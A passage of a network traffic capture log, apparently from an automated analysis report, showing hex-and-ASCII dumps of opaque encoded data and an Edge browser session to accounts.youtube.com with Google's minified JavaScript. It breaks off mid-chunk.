6c 66 47 33 2b 68 71 51 44 67 66 6f 79 65 42 30 31 6d 7a 36 77 6a Data Ascii: GxnScVQmEaBaeK+kUgSMMy4z2uPp8nRemsQEiudVx8SGIKSWDrnnqnWHfKQCcCzxUmNztC4iLCl2twUPP76zJ/KuwKOg093LXGuAAsVBgD2TSIa5v2PNI+9+N5DGne21RcwCqUUmMZQ3N54iTBXx993JnUGtU0QwI0ipKRZgtT9TH35x5sPGnanC362bEfbkQ7r+OlBCtH5f7STbYqms0N5E9Ztl3zuZyuthr2asolfG3+hqQDgfoyeB01mz6wj
2024-07-26 06:57:59 UTC	16384	IN	Data Raw: 54 78 63 69 51 6a 51 53 5a 31 4a 49 79 75 65 2f 49 36 67 54 34 32 76 70 61 61 68 4e 74 47 6d 39 52 36 37 4c 6f 6a 4f 70 58 4a 31 36 51 4b 45 68 52 38 59 68 34 43 61 79 69 42 50 6f 70 4e 63 49 4f 38 36 76 44 53 55 6f 68 6f 67 52 5a 45 6d 68 36 46 70 62 2f 6d 62 4e 73 41 75 45 68 6d 30 2f 6d 42 65 4d 75 48 6d 2f 53 79 38 2f 54 45 4d 74 37 6c 6b 76 62 50 4c 55 78 34 42 47 36 6d 76 72 41 42 32 52 6a 79 53 4b 73 59 47 2b 38 4e 77 39 53 76 47 79 51 75 63 42 6d 4d 69 49 50 52 79 77 4f 36 38 62 58 4a 75 56 4d 4c 41 57 32 57 33 74 6d 71 61 4c 6f 32 76 47 72 41 37 73 52 6f 50 53 66 44 63 57 36 2f 51 4e 35 36 37 71 73 2b 6e 2f 61 63 4a 7a 6e 58 41 37 76 51 72 73 47 49 70 58 76 62 61 64 58 49 67 7a 6f 2f 73 36 50 68 6d 6c 2b 75 34 47 37 73 71 68 4e 43 36 34 74 45 32 Data Ascii: TxciQjQSZ1JIyue/I6gT42vpaahNtGm9R67LojOpXJ16QKEhR8Yh4CayiBPopNcIO86vDSUohogRZEmh6Fpb/mbNsAuEhm0/mBeMuHm/Sy8/TEMt7lkvbPLUx4BG6mvrAB2RjySKsYG+8Nw9SvGyQucBmMiIPRywO68bXJuVMLAW2W3tmqaLo2vGrA7sRoPSfDcW6/QN567qs+n/acJznXA7vQrsGIpXvbadXIgzo/s6Phml+u4G7sqhNC64tE2
2024-07-26 06:57:59 UTC	16384	IN	Data Raw: 34 30 43 39 4d 68 50 62 4e 73 61 38 31 6b 67 63 68 45 49 48 39 6b 31 4a 4e 33 75 2f 6d 47 2f 2b 62 64 6e 61 30 6a 67 66 66 4c 4b 4b 59 79 32 59 56 79 2b 53 5a 75 6b 57 4e 30 49 5a 36 41 6d 4f 31 77 31 30 45 4e 6d 2f 59 73 66 43 6f 65 49 50 58 70 4b 34 46 37 30 65 34 57 6f 45 4b 71 4b 76 34 4d 72 63 74 2f 59 34 55 61 61 47 64 6c 55 55 2f 2b 58 48 73 6c 32 7a 4e 64 44 30 64 6f 77 49 6e 77 64 59 55 52 4c 31 6e 42 53 43 39 47 77 4e 30 68 55 63 46 76 68 4d 4a 4a 4c 78 41 42 41 35 72 73 62 35 5a 79 75 30 50 49 48 71 65 4f 45 45 63 66 65 4e 33 50 68 37 6f 67 44 50 43 54 77 34 53 6b 47 74 2f 69 4a 6d 68 57 32 77 4e 46 77 48 44 6a 62 6d 30 56 45 6f 76 6b 71 5a 45 6c 56 35 73 2b 6e 67 33 45 74 32 61 64 35 6a 34 51 39 5a 48 41 69 50 6d 42 4b 49 75 65 53 32 54 32 64 Data Ascii: 40C9MhPbNsa81kgchEIH9k1JN3u/mG/+bdna0jgffLKKYy2YVy+SZukWN0IZ6AmO1w10ENm/YsfCoeIPXpK4F70e4WoEKqKv4Mrct/Y4UaaGdlUU/+XHsl2zNdD0dowInwdYURL1nBSC9GwN0hUcFvhMJJLxABA5rsb5Zyu0PIHqeOEEcfeN3Ph7ogDPCTw4SkGt/iJmhW2wNFwHDjbm0VEovkqZElV5s+ng3Et2ad5j4Q9ZHAiPmBKIueS2T2d
2024-07-26 06:57:59 UTC	16384	IN	Data Raw: 59 59 54 5a 4e 41 75 4b 73 57 49 61 36 6b 69 34 39 6e 4e 32 44 68 57 6f 39 64 4d 53 46 4d 79 78 6a 38 6d 5a 31 78 69 48 71 44 67 62 4e 34 53 31 77 75 49 50 53 78 4d 74 31 43 70 4e 68 68 77 41 59 52 6b 41 33 4d 54 34 38 78 65 49 43 67 6f 57 66 56 77 74 41 6c 76 6e 7a 67 74 4d 30 33 45 78 6b 48 4a 63 67 34 34 4a 49 35 6b 52 74 67 71 34 68 2b 33 62 6b 4c 38 59 77 35 68 52 66 67 2f 31 42 53 67 54 49 4a 34 64 55 50 5a 54 69 56 72 54 67 64 70 79 61 57 6f 5a 6c 46 2f 6b 38 4b 58 69 43 55 6f 42 42 4e 73 76 36 7a 2b 5a 70 66 42 35 69 35 56 54 41 66 70 45 77 48 64 51 71 52 4b 7a 5a 67 4c 73 50 71 46 68 37 57 4c 72 6e 71 75 50 63 50 6d 6c 61 34 54 6c 67 4b 59 79 64 39 4c 33 75 64 45 49 51 2f 34 79 31 48 50 77 77 70 50 6e 41 70 66 36 51 75 34 53 47 5a 53 4d 54 73 4f Data Ascii: YYTZNAuKsWIa6ki49nN2DhWo9dMSFMyxj8mZ1xiHqDgbN4S1wuIPSxMt1CpNhhwAYRkA3MT48xeICgoWfVwtAlvnzgtM03ExkHJcg44JI5kRtgq4h+3bkL8Yw5hRfg/1BSgTIJ4dUPZTiVrTgdpyaWoZlF/k8KXiCUoBBNsv6z+ZpfB5i5VTAfpEwHdQqRKzZgLsPqFh7WLrnquPcPmla4TlgKYyd9L3udEIQ/4y1HPwwpPnApf6Qu4SGZSMTsO
2024-07-26 06:57:59 UTC	16384	IN	Data Raw: 76 30 68 67 38 49 4c 5a 4d 65 32 6f 66 69 4e 61 44 78 4a 7a 4f 37 6e 34 38 7a 52 62 4f 47 32 64 39 2f 48 72 69 78 61 46 4a 71 50 55 36 41 4b 69 42 58 79 43 62 43 47 48 6b 6f 79 42 45 4e 55 77 78 44 6a 71 67 51 6a 63 5a 48 49 61 5a 43 56 66 4b 69 52 69 4b 66 76 4c 30 30 71 6c 69 71 5a 61 79 52 2f 69 44 69 32 7a 6e 6e 63 70 78 66 7a 2b 57 4e 47 52 31 66 4b 66 73 37 50 73 65 32 4f 59 66 33 2f 6d 41 78 6d 74 67 4a 5a 6d 2b 36 73 63 30 36 49 6d 7a 72 52 57 34 63 63 54 6c 4b 42 38 45 45 43 55 32 6e 51 48 67 72 42 2b 56 2f 59 45 39 4f 44 42 77 2f 49 59 4b 56 30 36 35 34 53 64 53 6a 73 39 58 70 62 4a 42 30 65 33 43 56 6c 30 36 70 62 62 6f 44 67 6f 44 45 70 30 47 62 62 49 34 39 5a 79 4a 52 37 34 46 62 48 77 73 4e 45 4d 50 49 77 63 52 5a 6d 2b 51 69 6c 47 6d 4c 45 Data Ascii: v0hg8ILZMe2ofiNaDxJzO7n48zRbOG2d9/HrixaFJqPU6AKiBXyCbCGHkoyBENUwxDjqgQjcZHIaZCVfKiRiKfvL00qliqZayR/iDi2znncpxfz+WNGR1fKfs7Pse2OYf3/mAxmtgJZm+6sc06ImzrRW4ccTlKB8EECU2nQHgrB+V/YE9ODBw/IYKV0654SdSjs9XpbJB0e3CVl06pbboDgoDEp0GbbI49ZyJR74FbHwsNEMPIwcRZm+QilGmLE
2024-07-26 06:57:59 UTC	16070	IN	Data Raw: 32 62 51 4b 30 77 4a 30 54 79 54 52 4b 70 59 6c 43 4e 41 77 57 62 57 77 4b 70 35 66 35 68 47 66 67 75 6c 52 6c 76 7a 50 33 4e 30 43 52 59 69 52 47 30 4e 6e 51 71 55 33 4a 64 55 61 64 4a 61 46 33 57 49 4b 67 71 41 49 52 6b 72 6f 73 69 33 66 31 5a 6a 4b 6e 33 2f 61 70 72 44 30 35 6e 6c 2b 6f 6e 41 42 61 34 4b 32 61 4c 64 55 2b 78 74 49 6e 31 4c 7a 58 77 36 64 64 4a 78 6c 76 57 55 5a 79 45 62 51 59 41 42 65 4b 4a 43 7a 61 63 6f 4b 70 42 64 31 42 43 30 50 6c 4f 6d 31 6a 6b 4d 6d 30 74 52 33 71 31 75 4c 69 54 5a 44 49 5a 6d 6d 79 38 53 38 4d 6c 57 2f 44 4b 77 30 44 30 69 58 42 57 73 2f 59 6b 51 69 76 6c 36 45 67 46 6c 2f 74 35 6f 49 47 47 39 46 77 69 6b 74 6d 44 76 57 65 33 44 55 64 71 4e 50 69 61 63 65 48 56 64 4b 4c 6d 71 63 47 4d 79 61 35 44 65 44 35 51 45 Data Ascii: 2bQK0wJ0TyTRKpYlCNAwWbWwKp5f5hGfgulRlvzP3N0CRYiRG0NnQqU3JdUadJaF3WIKgqAIRkrosi3f1ZjKn3/aprD05nl+onABa4K2aLdU+xtIn1LzXw6ddJxlvWUZyEbQYABeKJCzacoKpBd1BC0PlOm1jkMm0tR3q1uLiTZDIZmmy8S8MlW/DKw0D0iXBWs/YkQivl6EgFl/t5oIGG9FwiktmDvWe3DUdqNPiaceHVdKLmqcGMya5DeD5QE
2024-07-26 06:57:59 UTC	16384	IN	Data Raw: 55 4e 65 6d 36 51 6e 6f 72 4c 36 7a 34 45 67 43 6a 48 65 34 73 4a 5a 38 39 7a 50 72 34 33 6b 46 67 56 56 71 4f 35 31 31 57 48 5a 59 52 76 4b 55 6b 51 33 47 30 48 54 7a 74 31 57 45 43 65 4b 5a 78 64 46 34 34 4b 6b 70 2f 76 5a 43 58 75 7a 2b 79 57 6c 30 6a 66 43 41 79 4c 31 71 49 49 68 45 5a 2b 4a 66 72 52 51 61 39 57 62 56 31 51 70 56 38 72 35 6b 57 45 77 35 6d 66 69 67 41 43 36 42 72 77 67 48 62 6c 38 48 52 6b 62 4c 70 33 69 47 38 48 6e 35 4f 52 7a 68 6f 53 6d 32 4f 56 46 57 77 72 6b 35 62 70 6b 39 47 68 34 55 69 39 4e 59 33 39 50 6c 32 79 6d 6b 34 65 63 54 47 6f 53 72 37 71 34 6e 50 41 63 71 53 67 4e 52 41 51 6e 57 76 58 59 73 6d 58 53 43 48 36 52 43 45 69 67 7a 79 69 61 2b 68 66 72 35 75 59 69 32 5a 4e 55 33 51 50 6f 45 6f 77 4e 48 57 4c 47 5a 47 33 74 Data Ascii: UNem6QnorL6z4EgCjHe4sJZ89zPr43kFgVVqO511WHZYRvKUkQ3G0HTzt1WECeKZxdF44Kkp/vZCXuz+yWl0jfCAyL1qIIhEZ+JfrRQa9WbV1QpV8r5kWEw5mfigAC6BrwgHbl8HRkbLp3iG8Hn5ORzhoSm2OVFWwrk5bpk9Gh4Ui9NY39Pl2ymk4ecTGoSr7q4nPAcqSgNRAQnWvXYsmXSCH6RCEigzyia+hfr5uYi2ZNU3QPoEowNHWLGZG3t
2024-07-26 06:57:59 UTC	16384	IN	Data Raw: 4c 4a 41 69 2b 2f 36 66 59 51 47 42 51 4b 77 6e 6b 50 46 4c 30 5a 30 54 47 70 76 77 65 4e 32 69 6e 5a 34 52 51 45 79 4e 61 31 6d 44 51 2f 6b 68 32 72 42 43 30 75 74 64 73 78 69 2b 66 64 4b 39 49 76 2b 49 6d 39 67 5a 59 59 6f 6d 56 6b 4e 38 45 6d 44 61 4e 4a 55 58 49 6c 2f 70 64 6b 46 5a 46 31 5a 47 51 4d 4f 75 49 5a 62 4e 48 76 44 30 79 53 54 30 42 2f 52 53 45 34 36 2b 32 51 46 31 48 49 70 42 4e 4a 48 53 70 31 61 31 4a 58 6c 76 55 2b 76 2f 39 59 62 6c 74 68 4d 74 4c 44 74 4d 63 52 79 78 38 38 47 64 44 38 2f 52 48 45 64 4f 55 52 76 35 2f 71 39 2f 72 44 4f 34 47 41 73 4d 6e 4b 67 45 69 32 55 42 42 69 52 4d 59 4b 71 4c 31 53 31 7a 52 38 4f 4a 49 56 63 41 68 6f 6c 75 4b 6e 39 44 63 75 37 54 72 4e 6e 62 63 68 6e 6b 79 30 6b 74 67 44 63 43 43 6b 59 5a 54 6d 55 Data Ascii: LJAi+/6fYQGBQKwnkPFL0Z0TGpvweN2inZ4RQEyNa1mDQ/kh2rBC0utdsxi+fdK9Iv+Im9gZYYomVkN8EmDaNJUXIl/pdkFZF1ZGQMOuIZbNHvD0yST0B/RSE46+2QF1HIpBNJHSp1a1JXlvU+v/9YblthMtLDtMcRyx88GdD8/RHEdOURv5/q9/rDO4GAsMnKgEi2UBBiRMYKqL1S1zR8OJIVcAholuKn9Dcu7TrNnbchnky0ktgDcCCkYZTmU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49788	142.250.65.238	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:00 UTC	1080	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=2115996890&timestamp=1721981613915 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:58:00 UTC	1953	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-5rRrJqdMgS59bK1vG35Tsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jul 2024 06:58:00 GMT Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzj0tDikmJw1ZBikPj6kkkDiJ3SZ7AGAXHSv_OsRUC8JOIi66HEi6xCPBw_JvZuZRPYsWFGN5OSXlJ-YXxmSmpeSWZJZUp-bmJmXnJ-fnZmanFxalFZalG8kYGRiYG5kaGegUV8gQEA42YmWA" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 37 36 36 66 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 35 72 52 72 4a 71 64 4d 67 53 35 39 62 4b 31 76 47 33 35 54 73 67 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 766f<html><head><script nonce="5rRrJqdMgS59bK1vG35Tsg">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 20 69 6e 20 62 7d 29 5d 7c 7c 22 22 7d 7d 2c 71 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 0a 66 61 28 29 3b 69 66 28 61 3d 3d 3d 22 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 29 7b 69 66 28 6a 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 Data Ascii: (function(d){return d in b})]\|\|""}},qa=function(a){var b=fa();if(a==="Internet Explorer"){if(ja())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])swi
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 3d 76 6f 69 64 20 30 3b 69 66 28 61 3d 3d 6e 75 6c 6c 29 7b 76 61 72 20 64 3d 39 36 3b 63 3f 28 61 3d 5b 63 5d 2c 64 7c 3d 35 31 32 29 3a 61 3d 5b 5d 3b 62 26 26 28 64 3d 64 26 2d 31 36 37 36 30 38 33 33 7c 28 62 26 31 30 32 33 29 3c 3c 31 34 29 7d 65 6c 73 65 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6e 22 29 3b 64 3d 7a 28 61 29 3b 69 66 28 64 26 32 30 34 38 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6f 22 29 3b 69 66 28 64 26 0a 36 34 29 72 65 74 75 72 6e 20 61 3b 64 7c 3d 36 34 3b 69 66 28 63 26 26 28 64 7c 3d 35 31 32 2c 63 21 3d 3d 61 5b 30 5d 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 70 22 29 3b 61 3a 7b 63 3d 61 3b 76 61 72 20 65 3d 63 2e 6c 65 6e 67 74 68 3b 69 66 28 65 29 7b 76 61 Data Ascii: =void 0;if(a==null){var d=96;c?(a=[c],d\|=512):a=[];b&&(d=d&-16760833\|(b&1023)<<14)}else{if(!Array.isArray(a))throw Error("n");d=z(a);if(d&2048)throw Error("o");if(d&64)return a;d\|=64;if(c&&(d\|=512,c!==a[0]))throw Error("p");a:{c=a;var e=c.length;if(e){va
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 6e 73 74 72 75 63 74 6f 72 2e 63 61 3b 76 61 72 20 65 3d 4b 61 28 63 3f 61 2e 43 3a 62 29 3b 69 66 28 61 3d 62 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 66 3d 62 5b 61 2d 31 5d 2c 68 3d 77 61 28 66 29 3b 68 3f 61 2d 2d 3a 66 3d 76 6f 69 64 20 30 3b 65 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 76 61 72 20 67 3d 62 3b 69 66 28 68 29 7b 62 3a 7b 76 61 72 20 6b 3d 66 3b 76 61 72 20 6c 3d 7b 7d 3b 68 3d 21 31 3b 69 66 28 6b 29 66 6f 72 28 76 61 72 20 6d 20 69 6e 20 6b 29 69 66 28 69 73 4e 61 4e 28 2b 6d 29 29 6c 5b 6d 5d 3d 6b 5b 6d 5d 3b 65 6c 73 65 7b 76 61 72 20 71 3d 6b 5b 6d 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 71 29 26 26 28 41 28 71 2c 64 2c 0a 2b 6d 29 7c 7c 76 61 28 71 29 26 26 71 2e 73 69 7a 65 3d 3d 3d 30 29 26 26 28 71 3d 6e 75 6c 6c 29 3b Data Ascii: nstructor.ca;var e=Ka(c?a.C:b);if(a=b.length){var f=b[a-1],h=wa(f);h?a--:f=void 0;e=+!!(e&512)-1;var g=b;if(h){b:{var k=f;var l={};h=!1;if(k)for(var m in k)if(isNaN(+m))l[m]=k[m];else{var q=k[m];Array.isArray(q)&&(A(q,d,+m)\|\|va(q)&&q.size===0)&&(q=null);
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 29 7b 76 61 72 20 64 3d 50 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 45 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 51 61 28 4e 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 76 61 72 20 51 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 2c Data Ascii: ){var d=Pa[b[c]];typeof d==="function"&&typeof d.prototype[a]!="function"&&E(d.prototype,a,{configurable:!0,writable:!0,value:function(){return Qa(Na(this))}})}return a});var Qa=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a},
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 66 28 21 48 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 3f 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 76 6f 69 64 20 30 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 26 26 48 28 6b 5b 66 5d 2c 74 68 69 73 2e 67 29 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 64 Data Ascii: set=function(k,l){if(!c(k))throw Error("i");d(k);if(!H(k,f))throw Error("j`"+k);k[f][this.g]=l;return this};g.prototype.get=function(k){return c(k)&&H(k,f)?k[f][this.g]:void 0};g.prototype.has=function(k){return c(k)&&H(k,f)&&H(k[f],this.g)};g.prototype.d
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 65 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d 5b 6c 5d 3b 69 66 28 6d 26 26 48 28 67 5b 30 5d 2c 6c 29 29 66 6f 72 28 67 3d 30 3b 67 3c 6d 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 7b 76 61 72 20 71 3d 6d 5b 67 5d 3b 69 66 28 6b 21 3d 3d 6b 26 26 71 2e 6b 65 79 21 3d 3d 71 2e 6b 65 79 7c 7c 6b 3d 3d 3d 71 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 67 2c 6c 3a 71 7d 7d 72 65 74 Data Ascii: es;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0][l];if(m&&H(g[0],l))for(g=0;g<m.length;g++){var q=m[g];if(k!==k&&q.key!==q.key\|\|k===q.key)return{id:l,list:m,index:g,l:q}}ret
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 68 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 68 3d 30 3b 68 3c 66 3b 68 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 68 5d 2c 68 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 76 61 72 20 5a 61 3d 5a 61 7c 7c 7b 7d 2c 72 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 61 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 24 61 28 22 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 2e 6f 78 4e 33 6e 62 22 29 3b 61 3d 63 26 26 63 5b 61 5d 3b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 3f 61 3a 62 7d 2c 49 3d 72 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 24 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b Data Ascii: ext()).done;)e.push(c.call(d,f.value,h++))}else for(f=b.length,h=0;h<f;h++)e.push(c.call(d,b[h],h));return e}});var Za=Za\|\|{},r=this\|\|self,ab=function(a,b){var c=$a("WIZ_global_data.oxN3nb");a=c&&c[a];return a!=null?a:b},I=r._F_toggles\|\|[],$a=function(a){
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 67 22 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 64 3b 66 2b 2b 29 66 20 69 6e 20 65 26 26 62 2e 63 61 6c 6c 28 63 2c 65 5b 66 5d 2c 66 2c 61 29 7d 3b 76 61 72 20 63 61 3d 22 63 6f 6e 73 74 72 75 63 74 6f 72 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 20 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 20 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 20 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 20 74 6f 53 74 72 69 6e 67 20 76 61 6c 75 65 4f 66 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 76 61 72 20 6a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 72 3b 76 61 72 20 64 3d 